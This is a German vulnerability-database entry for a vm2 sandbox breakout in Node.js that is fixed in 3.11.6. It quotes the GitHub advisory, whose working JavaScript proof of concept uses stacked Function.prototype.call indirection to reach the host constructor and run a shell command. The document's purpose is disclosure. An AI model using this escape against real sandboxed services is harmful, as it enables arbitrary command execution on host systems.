CVE-2026-47698
criticalPriorität · verfolgen · 0EPSS 0.010 · 62. PerzentilDEEUUSEPSS · bewertet 2026-10-27
vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
betroffene Produkte (4)
Betroffene Produkte und Versionsbereiche.
Advisories (2)
Hersteller- und Ökosystem-Meldungen dazu.
- WID-SEC-W-2026-2865vm2: Mehrere SchwachstellenDeutsch2026-08-16csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um einen Denial of Service Angriff durchzuführen, um beliebigen Programmcode auszuführen, um Informationen offenzulegen, und um Daten zu manipulieren.
- GHSA-cfcw-xp6x-25gjvm2: Sandbox Breakout Using Dangerous Host Proto Mutators2026-08-17ghsa · osvUS
### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous. ### PoC ```js const {VM} = require("."); const vm = new VM(); console.log(vm.run(` const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); } } f(); `)); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
auch bekannt als (2)
Weitere Namen und Kennungen dieser Entität.
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (6)
Externe Belege — Patches, Meldungen, Analysen.
- https://github.com/patriksimek/vm2/commit/a85acb61f81402c6eabf32760aa11272af6d0f9eenisa_euvd
- https://github.com/patriksimek/vm2/releases/tag/3.11.6enisa_euvd
- https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gjenisa_euvd
- https://github.com/patriksimek/vm2/commit/a85acb61f81402c6eabf32760aa11272af6d0f9envd
- https://github.com/patriksimek/vm2/releases/tag/3.11.6nvd
- https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gjnvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan